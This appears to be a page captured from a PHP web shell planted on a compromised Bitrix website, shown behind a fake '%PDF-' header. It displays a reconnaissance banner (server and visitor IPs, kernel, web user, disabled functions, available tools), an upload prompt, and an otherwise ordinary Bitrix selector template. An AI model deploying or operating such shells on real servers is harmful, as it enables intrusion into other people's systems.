%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.15.226.147 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.ui.selector/templates/.default/ |
Upload File : |
<?php /** * @var CBitrixComponentTemplate $this * @var $arParams * @var $arResult * @global $APPLICATION */ $component = $this->getComponent(); if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) { die(); } global $USER; CJSCore::init([ 'translit', 'socnetlogdest' ]); \Bitrix\Main\UI\Extension::load("ui.selector"); $frame = $this->createFrame()->begin(false); if (!empty($arParams['LOAD_JS'])) { ?><script src="<?=htmlspecialcharsbx($this->getFolder()).'/script.js'?>"></script><?php } ?> <script> BX.ready(function() { var f = function(params) { var selectorId = '<?=CUtil::JSEscape($arParams['ID'])?>'; var inputId = ( BX.type.isNotEmptyObject(params) && BX.type.isNotEmptyString(params.inputId) ? params.inputId : <?=($arParams['BIND_ID'] ? "'".$arParams['BIND_ID']."'" : 'false')?>); var inputBoxId = <?=(!empty($arParams['INPUT_BOX_ID']) ? "'".$arParams['INPUT_BOX_ID']."'" : 'false')?>; var inputContainerId = <?=(!empty($arParams['INPUT_CONTAINER_ID']) ? "'".$arParams['INPUT_CONTAINER_ID']."'" : 'false')?>; var containerId = (typeof params != 'undefined' && params.containerId != 'undefined' ? params.containerId : <?=($arParams['CONTAINER_ID'] ? "'".$arParams['CONTAINER_ID']."'" : 'false')?>); var bindId = (containerId ? containerId : inputId); var openDialogWhenInit = ( typeof params == 'undefined' || typeof params.openDialogWhenInit == 'undefined' || !!params.openDialogWhenInit ); var fieldName = <?=(!empty($arParams['FIELD_NAME']) ? "'".$arParams['FIELD_NAME']."'" : 'false')?>; if ( BX.type.isNotEmptyObject(params) && typeof params.id != 'undefined' && params.id != selectorId ) { return; } BX.Main.SelectorV2.create({ apiVersion: <?=(!empty($arParams["API_VERSION"]) ? (int)$arParams["API_VERSION"] : 2)?>, id: selectorId, fieldName: fieldName, pathToAjax: '<?=$component->getPath()?>/ajax.php', inputId: inputId, inputBoxId: inputBoxId, inputContainerId: inputContainerId, bindId: bindId, containerId: containerId, tagId: BX('<?= ($arParams['TAG_ID'] ?? '')?>'), openDialogWhenInit: openDialogWhenInit, bindNode: BX('<?=$arParams['BIND_ID']?>'), options: <?= CUtil::phpToJSObject($arParams["OPTIONS"]) ?>, callback : { select: <?=(!empty($arParams["CALLBACK"]["select"]) ? $arParams["CALLBACK"]["select"] : 'null')?>, unSelect: <?=(!empty($arParams["CALLBACK"]["unSelect"]) ? $arParams["CALLBACK"]["unSelect"] : 'null')?>, openDialog: <?=(!empty($arParams["CALLBACK"]["openDialog"]) ? $arParams["CALLBACK"]["openDialog"] : 'null')?>, closeDialog: <?=(!empty($arParams["CALLBACK"]["closeDialog"]) ? $arParams["CALLBACK"]["closeDialog"] : 'null')?>, openSearch: <?=(!empty($arParams["CALLBACK"]["openSearch"]) ? $arParams["CALLBACK"]["openSearch"] : 'null')?>, closeSearch: <?=(!empty($arParams["CALLBACK"]["closeSearch"]) ? $arParams["CALLBACK"]["closeSearch"] : 'null')?>, openEmailAdd: <?=(!empty($arParams["CALLBACK"]["openEmailAdd"]) ? $arParams["CALLBACK"]["openEmailAdd"] : 'null')?>, closeEmailAdd: <?=(!empty($arParams["CALLBACK"]["closeEmailAdd"]) ? $arParams["CALLBACK"]["closeEmailAdd"] : 'null')?> }, callbackBefore : { select: <?=(!empty($arParams["CALLBACK_BEFORE"]) && !empty($arParams["CALLBACK_BEFORE"]["select"]) ? $arParams["CALLBACK_BEFORE"]["select"] : 'null')?>, openDialog: <?=(!empty($arParams["CALLBACK_BEFORE"]) && !empty($arParams["CALLBACK_BEFORE"]["openDialog"]) ? $arParams["CALLBACK_BEFORE"]["openDialog"] : 'null')?>, context: <?=(!empty($arParams["CALLBACK_BEFORE"]) && !empty($arParams["CALLBACK_BEFORE"]["context"]) ? $arParams["CALLBACK_BEFORE"]["context"] : 'null')?>, }, items : { selected: <?= CUtil::phpToJSObject($arParams['ITEMS_SELECTED']) ?>, undeletable: <?= CUtil::phpToJSObject($arParams['ITEMS_UNDELETABLE']) ?>, hidden: <?= CUtil::phpToJSObject($arParams['ITEMS_HIDDEN']) ?> }, entities: { users: <?= CUtil::phpToJSObject($arResult['ENTITIES']['USERS'] ?? []) ?>, groups: <?= CUtil::phpToJSObject($arResult['ENTITIES']['GROUPS'] ?? []) ?>, sonetgroups: <?= CUtil::phpToJSObject($arResult['ENTITIES']['SONETGROUPS'] ?? []) ?>, department: <?= CUtil::phpToJSObject($arResult['ENTITIES']['DEPARTMENTS'] ?? []) ?> } }); BX.removeCustomEvent(window, "<?=$arParams["OPTIONS"]["eventInit"]?>", arguments.callee); }; <?php if (!empty($arParams["OPTIONS"]["eventInit"])) { ?> BX.addCustomEvent(window, "<?=$arParams["OPTIONS"]["eventInit"]?>", f); <?php } else { ?> f(); <?php } ?> }); </script> <?php $frame->end();